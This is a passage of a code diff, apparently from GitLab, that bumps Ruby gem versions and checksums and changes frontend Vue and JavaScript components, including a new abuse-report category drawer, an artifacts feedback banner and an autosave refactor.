-{"name":"rails-html-sanitizer","version":"1.4.3","platform":"ruby","checksum":"2ebba6ad9a0b100f79fda853a46851e7664febe1728223f9734281e0d55940d6"},
+{"name":"rails-html-sanitizer","version":"1.4.4","platform":"ruby","checksum":"895d0c87a2b6623891e85c1d507c7f16acda4e77d94692f537df35ba71398bd5"},
{"name":"rails-i18n","version":"7.0.3","platform":"ruby","checksum":"e3158e98c5332d129fd5131f171ac575eb30dbb8919b21595382b08850cf2bd3"},
{"name":"railties","version":"6.1.6.1","platform":"ruby","checksum":"bafecdf2dcbe4ea44e1ab7081fd797aa87ae9bbcd0f3a4372b662a1b93949733"},
{"name":"rainbow","version":"3.1.1","platform":"ruby","checksum":"039491aa3a89f42efa1d6dec2fc4e62ede96eb6acd95e52f1ad581182b79bc6a"},
@@ -464,7 +465,7 @@
{"name":"rchardet","version":"1.8.0","platform":"ruby","checksum":"693acd5253d5ade81a51940697955f6dd4bb2f0d245bda76a8e23deec70a52c7"},
{"name":"rdoc","version":"6.3.2","platform":"ruby","checksum":"def4a720235c27d56c176ae73555e647eb04ea58a8bbaa927f8f9f79de7805a6"},
{"name":"re2","version":"1.6.0","platform":"ruby","checksum":"2e37f27971f6a76223eac688c04f3e48aea374f34b302ec22d75b4635cd64bc1"},
-{"name":"recaptcha","version":"4.13.1","platform":"ruby","checksum":"dc6c2cb78afa87034358b7ba1c6f7175972b5709fdf7500e2550623e119e3788"},
+{"name":"recaptcha","version":"5.12.3","platform":"ruby","checksum":"37d1894add9e70a54d0c6c7f0ecbeedffbfa7d075acfbd4c509818dfdebdb7ee"},
{"name":"recursive-open-struct","version":"1.1.3","platform":"ruby","checksum":"a3538a72552fcebcd0ada657bdff313641a4a5fbc482c08cfb9a65acb1c9de5a"},
{"name":"redcarpet","version":"3.5.1","platform":"ruby","checksum":"717f64cb6ec11c8d9ec9b521ed26ca2eeda68b4fe1fc3388a641176dbd47732f"},
{"name":"redis","version":"4.8.0","platform":"ruby","checksum":"2000cf5014669c9dc821704b6d322a35a9a33852a95208911d9175d63b448a44"},
@@ -505,9 +506,9 @@
{"name":"rubocop-ast","version":"1.23.0","platform":"ruby","checksum":"fe4bafaa0a6ccf400849fb720f9dd2428b07b00fcdeeec33a8f1146e0c1e38e2"},
{"name":"rubocop-gitlab-security","version":"0.1.1","platform":"ruby","checksum":"96f6ed727847a5876ddfc89ee0399438a1aef7934db773c7efce907e2720006c"},
{"name":"rubocop-graphql","version":"0.18.0","platform":"ruby","checksum":"f1c43999fb9ef0e32b30e2ce2fa0ddb1f3a6215c85baf3fdf9753a0bb96bc998"},
-{"name":"rubocop-performance","version":"1.15.0","platform":"ruby","checksum":"8cd8ff22c567dfacf0292963c05f26c503638d0805a109e8c1f2a2a7955006c0"},
-{"name":"rubocop-rails","version":"2.17.2","platform":"ruby","checksum":"d14008d3a082f05300ff5f6cc21f8217f226ce0c1fc67e01b66bb5131f8f5b14"},
-{"name":"rubocop-rspec","version":"2.15.0","platform":"ruby","checksum":"a476c7671bbeabc9706068be0aa0443a559db6d2b84bfdc582fe65f64b1d455e"},
+{"name":"rubocop-performance","version":"1.15.1","platform":"ruby","checksum":"8d4f1839e7043364269d15b8191eadda29a4bb937ec29e74fdb074511d048d02"},
+{"name":"rubocop-rails","version":"2.17.3","platform":"ruby","checksum":"7d857aa339577c9e0e156cc3f5b68b63efc429eba39863cbd8a496c7f80e65af"},
+{"name":"rubocop-rspec","version":"2.16.0","platform":"ruby","checksum":"b33c5f048182bdb43885958f4115865d49438694fffac98b5406f70302e7ece6"},
{"name":"ruby-fogbugz","version":"0.3.0","platform":"ruby","checksum":"5e04cde474648f498a71cf1e1a7ab42c66b953862fbe224f793ec0a7a1d5f657"},
{"name":"ruby-magic","version":"0.5.4","platform":"ruby","checksum":"2c17b185130d10a83791f63a40baa358c4b138af37da3f4dab53690121c421d5"},
{"name":"ruby-progressbar","version":"1.11.0","platform":"ruby","checksum":"cc127db3866dc414ffccbf92928a241e585b3aa2b758a5563e74a6ee0f57d50a"},
diff --git a/Gemfile.lock b/Gemfile.lock
index 087d4d8aeec..ea1771e5af3 100644
--- a/Gemfile.lock
+++ b/Gemfile.lock
@@ -172,6 +172,9 @@ GEM
apollo_upload_server (2.1.0)
actionpack (>= 4.2)
graphql (>= 1.8)
+ app_store_connect (0.29.0)
+ activesupport (>= 6.0.0)
+ jwt (>= 1.4, <= 2.5.0)
arr-pm (0.0.12)
asana (0.10.13)
faraday (~> 1.0)
@@ -598,7 +601,7 @@ GEM
gitlab-sidekiq-fetcher (0.9.0)
json (>= 2.5)
sidekiq (~> 6.1)
- gitlab-styles (9.1.0)
+ gitlab-styles (9.2.0)
rubocop (~> 1.38.0)
rubocop-gitlab-security (~> 0.1.1)
rubocop-graphql (~> 0.14)
@@ -832,7 +835,7 @@ GEM
kramdown (~> 2.0)
launchy (2.5.0)
addressable (~> 2.7)
- lefthook (1.2.6)
+ lefthook (1.2.7)
letter_opener (1.7.0)
launchy (~> 2.2)
letter_opener_web (2.0.0)
@@ -861,7 +864,7 @@ GEM
ffi-compiler (~> 1.0)
rake (~> 13.0)
locale (2.1.3)
- lockbox (0.6.2)
+ lockbox (1.1.1)
lograge (0.11.2)
actionpack (>= 4)
activesupport (>= 4)
@@ -870,7 +873,7 @@ GEM
loofah (2.19.1)
crass (~> 1.0.2)
nokogiri (>= 1.5.9)
- lookbook (1.2.1)
+ lookbook (1.4.5)
actioncable
activemodel
css_parser
@@ -930,7 +933,7 @@ GEM
nenv (0.3.0)
net-http-persistent (4.0.1)
connection_pool (~> 2.2)
- net-ldap (0.16.3)
+ net-ldap (0.17.1)
net-ntp (2.1.3)
net-scp (3.0.0)
net-ssh (>= 2.6.5, < 7.0.0)
@@ -1068,7 +1071,7 @@ GEM
tty-color (~> 0.5)
peek (1.1.0)
railties (>= 4.0.0)
- pg (1.4.3)
+ pg (1.4.5)
pg_query (2.2.0)
google-protobuf (>= 3.19.2)
plist (3.6.0)
@@ -1108,7 +1111,7 @@ GEM
pyu-ruby-sasl (0.0.3.3)
raabro (1.4.0)
racc (1.6.1)
- rack (2.2.4)
+ rack (2.2.6.2)
rack-accept (0.4.5)
rack (>= 0.4)
rack-attack (6.6.1)
@@ -1123,7 +1126,7 @@ GEM
rack (>= 2.1.0)
rack-protection (2.2.2)
rack
- rack-proxy (0.7.4)
+ rack-proxy (0.7.6)
rack
rack-test (2.0.2)
rack (>= 1.3)
@@ -1150,8 +1153,8 @@ GEM
rails-dom-testing (2.0.3)
activesupport (>= 4.2.0)
nokogiri (>= 1.6)
- rails-html-sanitizer (1.4.3)
- loofah (~> 2.3)
+ rails-html-sanitizer (1.4.4)
+ loofah (~> 2.19, >= 2.19.1)
rails-i18n (7.0.3)
i18n (>= 0.7, < 2)
railties (>= 6.0.0, < 8)
@@ -1174,7 +1177,7 @@ GEM
rchardet (1.8.0)
rdoc (6.3.2)
re2 (1.6.0)
- recaptcha (4.13.1)
+ recaptcha (5.12.3)
json
recursive-open-struct (1.1.3)
redcarpet (3.5.1)
@@ -1274,14 +1277,14 @@ GEM
rubocop (>= 0.51)
rubocop-graphql (0.18.0)
rubocop (>= 0.87, < 2)
- rubocop-performance (1.15.0)
+ rubocop-performance (1.15.1)
rubocop (>= 1.7.0, < 2.0)
rubocop-ast (>= 0.4.0)
- rubocop-rails (2.17.2)
+ rubocop-rails (2.17.3)
activesupport (>= 4.2.0)
rack (>= 1.1)
rubocop (>= 1.33.0, < 2.0)
- rubocop-rspec (2.15.0)
+ rubocop-rspec (2.16.0)
rubocop (~> 1.33)
ruby-fogbugz (0.3.0)
crack (~> 0.4)
@@ -1581,6 +1584,7 @@ DEPENDENCIES
addressable (~> 2.8)
akismet (~> 3.0)
apollo_upload_server (~> 2.1.0)
+ app_store_connect
arr-pm (~> 0.0.12)
asana (~> 0.10.13)
asciidoctor (~> 2.0.17)
@@ -1672,7 +1676,7 @@ DEPENDENCIES
gitlab-net-dns (~> 0.9.1)
gitlab-omniauth-openid-connect (~> 0.10.0)
gitlab-sidekiq-fetcher (= 0.9.0)
- gitlab-styles (~> 9.1.0)
+ gitlab-styles (~> 9.2.0)
gitlab_chronic_duration (~> 0.10.6.2)
gitlab_omniauth-ldap (~> 2.2.0)
gon (~> 6.4.0)
@@ -1716,15 +1720,15 @@ DEPENDENCIES
knapsack (~> 1.21.1)
kramdown (~> 2.3.1)
kubeclient (~> 4.9.3)!
- lefthook (~> 1.2.6)
+ lefthook (~> 1.2.7)
letter_opener_web (~> 2.0.0)
license_finder (~> 7.0)
licensee (~> 9.15)
listen (~> 3.7)
- lockbox (~> 0.6.2)
+ lockbox (~> 1.1.1)
lograge (~> 0.5)
loofah (~> 2.19.1)
- lookbook (~> 1.2, >= 1.2.1)
+ lookbook (~> 1.4, >= 1.4.5)
lru_redux
mail (= 2.7.1)
mail-smtp_pool (~> 0.1.0)!
@@ -1734,7 +1738,7 @@ DEPENDENCIES
mini_magick (~> 4.10.1)
minitest (~> 5.11.0)
multi_json (~> 1.14.1)
- net-ldap (~> 0.16.3)
+ net-ldap (~> 0.17.1)
net-ntp
nokogiri (~> 1.13.10)
oauth2 (~> 2.0)
@@ -1767,7 +1771,7 @@ DEPENDENCIES
parallel (~> 1.19)
parslet (~> 1.8)
peek (~> 1.1)
- pg (~> 1.4.3)
+ pg (~> 1.4.5)
pg_query (~> 2.2)
png_quantizator (~> 0.2.1)
premailer-rails (~> 1.10.3)
@@ -1777,11 +1781,11 @@ DEPENDENCIES
pry-shell (~> 0.5.1)
puma (~> 5.6.5)
puma_worker_killer (~> 0.3.1)
- rack (~> 2.2.4)
+ rack (~> 2.2.6, >= 2.2.6.2)
rack-attack (~> 6.6.1)
rack-cors (~> 1.1.1)
rack-oauth2 (~> 1.21.3)
- rack-proxy (~> 0.7.4)
+ rack-proxy (~> 0.7.6)
rack-timeout (~> 0.6.3)
rails (~> 6.1.6.1)
rails-controller-testing
@@ -1790,7 +1794,7 @@ DEPENDENCIES
rbtrace (~> 0.4)
rdoc (~> 6.3.2)
re2 (~> 1.6.0)
- recaptcha (~> 4.11)
+ recaptcha (~> 5.12)
redis (~> 4.8.0)
redis-actionpack (~> 5.3.0)
redis-namespace (~> 1.9.0)
diff --git a/README.md b/README.md
index 64eedc9079f..29d5d599972 100644
--- a/README.md
+++ b/README.md
@@ -82,7 +82,7 @@ Instructions on how to start GitLab and how to run the tests can be found in the
GitLab is a Ruby on Rails application that runs on the following software:
- Ubuntu/Debian/CentOS/RHEL/OpenSUSE
-- Ruby (MRI) 2.7.5
+- Ruby (MRI) 2.7.7
- Git 2.33+
- Redis 5.0+
- PostgreSQL 12+
diff --git a/app/assets/javascripts/abuse_reports/components/abuse_category_selector.vue b/app/assets/javascripts/abuse_reports/components/abuse_category_selector.vue
new file mode 100644
index 00000000000..c716afbbcf0
--- /dev/null
+++ b/app/assets/javascripts/abuse_reports/components/abuse_category_selector.vue
@@ -0,0 +1,112 @@
+<script>
+import { GlButton, GlDrawer, GlForm, GlFormGroup, GlFormRadioGroup } from '@gitlab/ui';
+import { getContentWrapperHeight } from '~/lib/utils/dom_utils';
+import { s__, __ } from '~/locale';
+import csrf from '~/lib/utils/csrf';
+
+export default {
+ name: 'AbuseCategorySelector',
+ csrf,
+ components: {
+ GlButton,
+ GlDrawer,
+ GlForm,
+ GlFormGroup,
+ GlFormRadioGroup,
+ },
+ inject: {
+ reportAbusePath: {
+ default: '',
+ },
+ reportedUserId: {
+ default: '',
+ },
+ reportedFromUrl: {
+ default: '',
+ },
+ },
+ props: {
+ showDrawer: {
+ type: Boolean,
+ required: true,
+ },
+ },
+ i18n: {
+ title: __('Report abuse to administrator'),
+ close: __('Close'),
+ label: s__('ReportAbuse|Why are you reporting this user?'),
+ next: __('Next'),
+ },
+ categoryOptions: [
+ { value: 'spam', text: s__("ReportAbuse|They're posting spam.") },
+ { value: 'offensive', text: s__("ReportAbuse|They're being offsensive or abusive.") },
+ { value: 'phishing', text: s__("ReportAbuse|They're phising.") },
+ { value: 'crypto', text: s__("ReportAbuse|They're crypto mining.") },
+ {
+ value: 'credentials',
+ text: s__("ReportAbuse|They're posting personal information or credentials."),
+ },
+ { value: 'copyright', text: s__("ReportAbuse|They're violating a copyright or trademark.") },
+ { value: 'malware', text: s__("ReportAbuse|They're posting malware.") },
+ { value: 'other', text: s__('ReportAbuse|Something else.') },
+ ],
+ data() {
+ return {
+ selected: '',
+ };
+ },
+ computed: {
+ drawerOffsetTop() {
+ return getContentWrapperHeight('.content-wrapper');
+ },
+ },
+ methods: {
+ closeDrawer() {
+ this.$emit('close-drawer');
+ },
+ },
+};
+</script>
+<template>
+ <gl-drawer
+ :header-height="drawerOffsetTop"
+ :z-index="300"
+ :open="showDrawer"
+ @close="closeDrawer"
+ >
+ <template #title>
+ <h2
+ class="gl-font-size-h2 gl-mt-0 gl-mb-0 gl-line-height-24"
+ data-testid="category-drawer-title"
+ >
+ {{ $options.i18n.title }}
+ </h2>
+ </template>
+ <template #default>
+ <gl-form :action="reportAbusePath" method="post" class="gl-text-left">
+ <input :value="$options.csrf.token" type="hidden" name="authenticity_token" />
+
+ <input type="hidden" name="user_id" :value="reportedUserId" data-testid="input-user-id" />
+ <input
+ type="hidden"
+ name="abuse_report[reported_from_url]"
+ :value="reportedFromUrl"
+ data-testid="input-referer"
+ />
+
+ <gl-form-group :label="$options.i18n.label">
+ <gl-form-radio-group
+ v-model="selected"
+ :options="$options.categoryOptions"
+ name="abuse_report[category]"
+ required
+ />
+ </gl-form-group>
+
+ <gl-button type="submit" variant="confirm" data-testid="submit-form-button">
+ {{ $options.i18n.next }}
+ </gl-button>
+ </gl-form>
+ </template>
+ </gl-drawer>
+</template>
diff --git a/app/assets/javascripts/admin/background_migrations/components/database_listbox.vue b/app/assets/javascripts/admin/background_migrations/components/database_listbox.vue
index 8e814cd55ef..7cc4a0d349d 100644
--- a/app/assets/javascripts/admin/background_migrations/components/database_listbox.vue
+++ b/app/assets/javascripts/admin/background_migrations/components/database_listbox.vue
@@ -35,7 +35,7 @@ export default {
</script>
<template>
- <div class="gl-display-flex gl-align-items-center" data-testid="database-listbox">
+ <div class="gl-display-flex gl-align-items-center">
<label id="label" class="gl-font-weight-bold gl-mr-4 gl-mb-0">{{
$options.i18n.database
}}</label>
diff --git a/app/assets/javascripts/admin/users/components/actions/ban.vue b/app/assets/javascripts/admin/users/components/actions/ban.vue
index 55938832dce..898a688c203 100644
--- a/app/assets/javascripts/admin/users/components/actions/ban.vue
+++ b/app/assets/javascripts/admin/users/components/actions/ban.vue
@@ -11,7 +11,9 @@ const messageHtml = `
<ul>
<li>${s__("AdminUsers|The user can't log in.")}</li>
<li>${s__("AdminUsers|The user can't access git repositories.")}</li>
- <li>${s__('AdminUsers|Issues authored by this user are hidden from other users.')}</li>
+ <li>${s__(
+ 'AdminUsers|Issues and merge requests authored by this user are hidden from other users.',
+ )}</li>
</ul>
<p>${s__('AdminUsers|You can unban their account in the future. Their data remains intact.')}</p>
<p>${sprintf(
diff --git a/app/assets/javascripts/alert_handler.js b/app/assets/javascripts/alert_handler.js
index 3c867f196d6..9d53101fb22 100644
--- a/app/assets/javascripts/alert_handler.js
+++ b/app/assets/javascripts/alert_handler.js
@@ -2,10 +2,11 @@
// Note: This ONLY works on elements that are created on page load
// You can follow this effort in the following epic
// https://gitlab.com/groups/gitlab-org/-/epics/4070
+import { __ } from '~/locale';
export default function initAlertHandler() {
const DISMISSIBLE_SELECTORS = ['.gl-alert', '.gl-banner'];
- const DISMISS_LABEL = '[aria-label="Dismiss"]';
+ const DISMISS_LABEL = `[aria-label="${__('Dismiss')}"]`;
const DISMISS_CLASS = '.gl-alert-dismiss';
DISMISSIBLE_SELECTORS.forEach((selector) => {
diff --git a/app/assets/javascripts/alerts_settings/components/alerts_settings_form.vue b/app/assets/javascripts/alerts_settings/components/alerts_settings_form.vue
index 65c3bc732ed..428291f2313 100644
--- a/app/assets/javascripts/alerts_settings/components/alerts_settings_form.vue
+++ b/app/assets/javascripts/alerts_settings/components/alerts_settings_form.vue
@@ -503,6 +503,7 @@ export default {
v-model="integrationForm.apiUrl"
type="text"
:placeholder="$options.placeholders.prometheus"
+ data-qa-selector="prometheus_url_field"
@input="validateApiUrl"
/>
<span class="gl-text-gray-400">
diff --git a/app/assets/javascripts/alerts_settings/components/alerts_settings_wrapper.vue b/app/assets/javascripts/alerts_settings/components/alerts_settings_wrapper.vue
index 010cb5721a1..7dd33da435a 100644
--- a/app/assets/javascripts/alerts_settings/components/alerts_settings_wrapper.vue
+++ b/app/assets/javascripts/alerts_settings/components/alerts_settings_wrapper.vue
@@ -4,7 +4,7 @@ import createHttpIntegrationMutation from 'ee_else_ce/alerts_settings/graphql/mu
import updateHttpIntegrationMutation from 'ee_else_ce/alerts_settings/graphql/mutations/update_http_integration.mutation.graphql';
import { createAlert, VARIANT_SUCCESS } from '~/flash';
import { fetchPolicies } from '~/lib/graphql';
-import httpStatusCodes from '~/lib/utils/http_status';
+import { HTTP_STATUS_FORBIDDEN } from '~/lib/utils/http_status';
import { typeSet, i18n, tabIndices } from '../constants';
import createPrometheusIntegrationMutation from '../graphql/mutations/create_prometheus_integration.mutation.graphql';
import destroyHttpIntegrationMutation from '../graphql/mutations/destroy_http_integration.mutation.graphql';
@@ -327,7 +327,7 @@ export default {
})
.catch((error) => {
let message = INTEGRATION_PAYLOAD_TEST_ERROR;
- if (error.response?.status === httpStatusCodes.FORBIDDEN) {
+ if (error.response?.status === HTTP_STATUS_FORBIDDEN) {
message = INTEGRATION_INACTIVE_PAYLOAD_TEST_ERROR;
}
createAlert({ message });
diff --git a/app/assets/javascripts/analytics/cycle_analytics/components/metric_tile.vue b/app/assets/javascripts/analytics/cycle_analytics/components/metric_tile.vue
deleted file mode 100644
index a5c20b237b3..00000000000
--- a/app/assets/javascripts/analytics/cycle_analytics/components/metric_tile.vue
+++ /dev/null
@@ -1,51 +0,0 @@
-<script>
-import { GlSingleStat } from '@gitlab/ui/dist/charts';
-import { redirectTo } from '~/lib/utils/url_utility';
-import MetricPopover from '~/analytics/shared/components/metric_popover.vue';
-
-export default {
- name: 'MetricTile',
- components: {
- GlSingleStat,
- MetricPopover,
- },
- props: {
- metric: {
- type: Object,
- required: true,
- },
- },
- computed: {
- decimalPlaces() {
- const parsedFloat = parseFloat(this.metric.value);
- return Number.isNaN(parsedFloat) || Number.isInteger(parsedFloat) ? 0 : 1;
- },
- hasLinks() {
- return this.metric.links?.length && this.metric.links[0].url;
- },
- },
- methods: {
- clickHandler({ links }) {
- if (this.hasLinks) {
- redirectTo(links[0].url);
- }
- },
- },
-};
-</script>
-<template>
- <div v-bind="$attrs">
- <gl-single-stat
- :id="metric.identifier"
- :value="`${metric.value}`"
- :title="metric.label"
- :unit="metric.unit || ''"
- :should-animate="true"
- :animation-decimal-places="decimalPlaces"
- :class="{ 'gl-hover-cursor-pointer': hasLinks }"
- tabindex="0"
- @click="clickHandler(metric)"
- />
- <metric-popover :metric="metric" :target="metric.identifier" />
- </div>
-</template>
diff --git a/app/assets/javascripts/api/user_api.js b/app/assets/javascripts/api/user_api.js
index 0f874e35684..45fddc3a696 100644
--- a/app/assets/javascripts/api/user_api.js
+++ b/app/assets/javascripts/api/user_api.js
@@ -65,7 +65,7 @@ export function getUserProjects(userId, query, options, callback) {
export function updateUserStatus({ emoji, message, availability, clearStatusAfter }) {
const url = buildApiUrl(USER_POST_STATUS_PATH);
- return axios.put(url, {
+ return axios.patch(url, {
emoji,
message,
availability,
diff --git a/app/assets/javascripts/artifacts/components/artifact_row.vue b/app/assets/javascripts/artifacts/components/artifact_row.vue
index 8c03db2acd1..fffdfce60a7 100644
--- a/app/assets/javascripts/artifacts/components/artifact_row.vue
+++ b/app/assets/javascripts/artifacts/components/artifact_row.vue
@@ -11,6 +11,7 @@ export default {
GlBadge,
GlFriendlyWrap,
},
+ inject: ['canDestroyArtifacts'],
props: {
artifact: {
type: Object,
@@ -73,6 +74,7 @@ export default {
data-testid="job-artifact-row-download-button"
/>
<gl-button
+ v-if="canDestroyArtifacts"
category="tertiary"
icon="remove"
:title="$options.i18n.delete"
diff --git a/app/assets/javascripts/artifacts/components/feedback_banner.vue b/app/assets/javascripts/artifacts/components/feedback_banner.vue
new file mode 100644
index 00000000000..d2c96b1a201
--- /dev/null
+++ b/app/assets/javascripts/artifacts/components/feedback_banner.vue
@@ -0,0 +1,41 @@
+<script>
+import { GlBanner } from '@gitlab/ui';
+import UserCalloutDismisser from '~/vue_shared/components/user_callout_dismisser.vue';
+import {
+ I18N_FEEDBACK_BANNER_TITLE,
+ I18N_FEEDBACK_BANNER_BODY,
+ I18N_FEEDBACK_BANNER_BUTTON,
+ FEEDBACK_URL,
+} from '../constants';
+
+export default {
+ components: {
+ GlBanner,
+ UserCalloutDismisser,
+ },
+ inject: ['artifactsManagementFeedbackImagePath'],
+ FEEDBACK_URL,
+ i18n: {
+ title: I18N_FEEDBACK_BANNER_TITLE,
+ body: I18N_FEEDBACK_BANNER_BODY,
+ button: I18N_FEEDBACK_BANNER_BUTTON,
+ },
+};
+</script>
+<template>
+ <user-callout-dismisser feature-name="artifacts_management_page_feedback_banner">
+ <template #default="{ dismiss, shouldShowCallout }">
+ <gl-banner
+ v-if="shouldShowCallout"
+ class="gl-mb-6"
+ :title="$options.i18n.title"
+ :button-text="$options.i18n.button"
+ :button-link="$options.FEEDBACK_URL"
+ :svg-path="artifactsManagementFeedbackImagePath"
+ @close="dismiss"
+ >
+ <p>{{ $options.i18n.body }}</p>
+ </gl-banner>
+ </template>
+ </user-callout-dismisser>
+</template>
diff --git a/app/assets/javascripts/artifacts/components/job_artifacts_table.vue b/app/assets/javascripts/artifacts/components/job_artifacts_table.vue
index 34e443f4e58..5743ff3ec9e 100644
--- a/app/assets/javascripts/artifacts/components/job_artifacts_table.vue
+++ b/app/assets/javascripts/artifacts/components/job_artifacts_table.vue
@@ -35,6 +35,7 @@ import {
INITIAL_LAST_PAGE_SIZE,
} from '../constants';
import ArtifactsTableRowDetails from './artifacts_table_row_details.vue';
+import FeedbackBanner from './feedback_banner.vue';
const INITIAL_PAGINATION_STATE = {
currentPage: INITIAL_CURRENT_PAGE,
@@ -58,8 +59,9 @@ export default {
CiIcon,
TimeAgo,
ArtifactsTableRowDetails,
+ FeedbackBanner,
},
- inject: ['projectPath'],
+ inject: ['projectPath', 'canDestroyArtifacts'],
apollo: {
jobArtifacts: {
query: getJobArtifactsQuery,
@@ -214,6 +216,7 @@ export default {
</script>
<template>
<div>
+ <feedback-banner />
<gl-table
:items="jobArtifacts"
:fields="$options.fields"
@@ -308,6 +311,7 @@ export default {
data-testid="job-artifacts-browse-button"
/>
<gl-button
+ v-if="canDestroyArtifacts"
icon="remove"
:title="$options.i18n.delete"
:aria-label="$options.i18n.delete"
diff --git a/app/assets/javascripts/artifacts/constants.js b/app/assets/javascripts/artifacts/constants.js
index 5fcc4f2b76e..28fd81fa641 100644
--- a/app/assets/javascripts/artifacts/constants.js
+++ b/app/assets/javascripts/artifacts/constants.js
@@ -43,6 +43,13 @@ export const I18N_MODAL_BODY = s__(
export const I18N_MODAL_PRIMARY = s__('Artifacts|Delete artifact');
export const I18N_MODAL_CANCEL = __('Cancel');
+export const I18N_FEEDBACK_BANNER_TITLE = s__('Artifacts|Help us improve this page');
+export const I18N_FEEDBACK_BANNER_BODY = s__(
+ 'Artifacts|We want you to be able to use this page to easily manage your CI/CD job artifacts. We are working to improve this experience and would appreciate any feedback you have about the improvements we are making.',
+);
+export const I18N_FEEDBACK_BANNER_BUTTON = s__('Artifacts|Take a quick survey');
+export const FEEDBACK_URL = 'https://gitlab.fra1.qualtrics.com/jfe/form/SV_cI9rAUI20Vo2St8';
+
export const INITIAL_CURRENT_PAGE = 1;
export const INITIAL_PREVIOUS_PAGE_CURSOR = '';
export const INITIAL_NEXT_PAGE_CURSOR = '';
diff --git a/app/assets/javascripts/artifacts/graphql/queries/get_job_artifacts.query.graphql b/app/assets/javascripts/artifacts/graphql/queries/get_job_artifacts.query.graphql
index 9777153999e..89a24d7891e 100644
--- a/app/assets/javascripts/artifacts/graphql/queries/get_job_artifacts.query.graphql
+++ b/app/assets/javascripts/artifacts/graphql/queries/get_job_artifacts.query.graphql
@@ -10,7 +10,6 @@ query getJobArtifacts(
project(fullPath: $projectPath) {
id
jobs(
- withArtifacts: true
statuses: [SUCCESS, FAILED]
first: $firstPageSize
last: $lastPageSize
diff --git a/app/assets/javascripts/artifacts/index.js b/app/assets/javascripts/artifacts/index.js
index b5146e0f0e9..e0b2ab2bf47 100644
--- a/app/assets/javascripts/artifacts/index.js
+++ b/app/assets/javascripts/artifacts/index.js
@@ -1,6 +1,7 @@
import Vue from 'vue';
import VueApollo from 'vue-apollo';
import createDefaultClient from '~/lib/graphql';
+import { parseBoolean } from '~/lib/utils/common_utils';
import JobArtifactsTable from './components/job_artifacts_table.vue';
Vue.use(VueApollo);
@@ -16,13 +17,15 @@ export const initArtifactsTable = () => {
return false;
}
- const { projectPath } = el.dataset;
+ const { projectPath, canDestroyArtifacts, artifactsManagementFeedbackImagePath } = el.dataset;
return new Vue({
el,
apolloProvider,
provide: {
projectPath,
+ canDestroyArtifacts: parseBoolean(canDestroyArtifacts),
+ artifactsManagementFeedbackImagePath,
},
render: (createElement) => createElement(JobArtifactsTable),
});
diff --git a/app/assets/javascripts/autosave.js b/app/assets/javascripts/autosave.js
index 5ab66acaf80..2e187eae17c 100644
--- a/app/assets/javascripts/autosave.js
+++ b/app/assets/javascripts/autosave.js
@@ -1,56 +1,57 @@
-/* eslint-disable no-param-reassign, consistent-return */
-
+import { parseBoolean } from '~/lib/utils/common_utils';
import AccessorUtilities from './lib/utils/accessor';
export default class Autosave {
constructor(field, key, fallbackKey, lockVersion) {
this.field = field;
- this.type = this.field.prop('type');
+ this.type = this.field.getAttribute('type');
this.isLocalStorageAvailable = AccessorUtilities.canUseLocalStorage();
- if (key.join != null) {
- key = key.join('/');
- }
- this.key = `autosave/${key}`;
+ this.key = Array.isArray(key) ? `autosave/${key.join('/')}` : `autosave/${key}`;
this.fallbackKey = fallbackKey;
this.lockVersionKey = `${this.key}/lockVersion`;
this.lockVersion = lockVersion;
- this.field.data('autosave', this);
this.restore();
- this.field.on('input', () => this.save());
+ this.saveAction = this.save.bind(this);
+ // used by app/assets/javascripts/deprecated_notes.js
+ this.field.$autosave = this;
+ this.field.addEventListener('input', this.saveAction);
}
restore() {
if (!this.isLocalStorageAvailable) return;
- if (!this.field.length) return;
const text = window.localStorage.getItem(this.key);
const fallbackText = window.localStorage.getItem(this.fallbackKey);
+ const newValue = text || fallbackText;
+ if (newValue == null) return;
+
+ let originalValue = this.field.value;
if (this.type === 'checkbox') {
- this.field.prop('checked', text || fallbackText);
- } else if (text) {
- this.field.val(text);
- } else if (fallbackText) {
- this.field.val(fallbackText);
+ originalValue = this.field.checked;
+ this.field.checked = parseBoolean(newValue);
+ } else {
+ this.field.value = newValue;
}
- this.field.trigger('input');
- // v-model does not update with jQuery trigger
- // https://github.com/vuejs/vue/issues/2804#issuecomment-216968137
- const event = new Event('change', { bubbles: true, cancelable: false });
- const field = this.field.get(0);
- if (field) {
- field.dispatchEvent(event);
- }
+ if (originalValue === newValue) return;
+ this.triggerInputEvents();
+ }
+
+ triggerInputEvents() {
+ // trigger events so @input, @change and v-model trigger in Vue components
+ const inputEvent = new Event('input', { bubbles: true, cancelable: false });
+ const changeEvent = new Event('change', { bubbles: true, cancelable: false });
+ this.field.dispatchEvent(inputEvent);
+ this.field.dispatchEvent(changeEvent);
}
getSavedLockVersion() {
- if (!this.isLocalStorageAvailable) return;
+ if (!this.isLocalStorageAvailable) return undefined;
return window.localStorage.getItem(this.lockVersionKey);
}
save() {
- if (!this.field.length) return;
- const value = this.type === 'checkbox' ? this.field.is(':checked') : this.field.val();
+ const value = this.type === 'checkbox' ? this.field.checked : this.field.value;
if (this.isLocalStorageAvailable && value) {
if (this.fallbackKey) {
@@ -66,7 +67,7 @@ export default class Autosave {
}
reset() {
- if (!this.isLocalStorageAvailable) return;
+ if (!this.isLocalStorageAvailable) return undefined;
window.localStorage.removeItem(this.lockVersionKey);
window.localStorage.removeItem(this.fallbackKey);
@@ -74,7 +75,7 @@ export default class Autosave {
}
dispose() {
- // eslint-disable-next-line @gitlab/no-global-event-off
- this.field.off('input');
+ delete this.field.$autosave;
+ this.field.removeEventListener('input', this.saveAction);
}
}
diff --git a/app/assets/javascripts/batch_comments/components/submit_dropdown.vue b/app/assets/javascripts/batch_comments/components/submit_dropdown.vue
index acc3cbe10a0..ed0481e7a48 100644
--- a/app/assets/javascripts/batch_comments/components/submit_dropdown.vue
+++ b/app/assets/javascripts/batch_comments/components/submit_dropdown.vue
@@ -1,5 +1,4 @@
<script>
-import $ from 'jquery';
import {
GlDropdown,
GlButton,
@@ -52,7 +51,7 @@ export default {
},
mounted() {
this.autosave = new Autosave(
- $(this.$refs.textarea),
+ this.$refs.textarea,
`submit_review_dropdown/${this.getNoteableData.id}`,
);
this.noteData.noteable_type = this.noteableType;
diff --git a/app/assets/javascripts/behaviors/markdown/gfm_auto_complete.js b/app/assets/javascripts/behaviors/markdown/gfm_auto_complete.js
index d712c90242c..ff301a99243 100644
--- a/app/assets/javascripts/behaviors/markdown/gfm_auto_complete.js
+++ b/app/assets/javascripts/behaviors/markdown/gfm_auto_complete.js
@@ -11,6 +11,7 @@ export default function initGFMInput($els) {
emojis: true,
members: enableGFM,
issues: enableGFM,
+ iterations: enableGFM,
milestones: enableGFM,
mergeRequests: enableGFM,
labels: enableGFM,
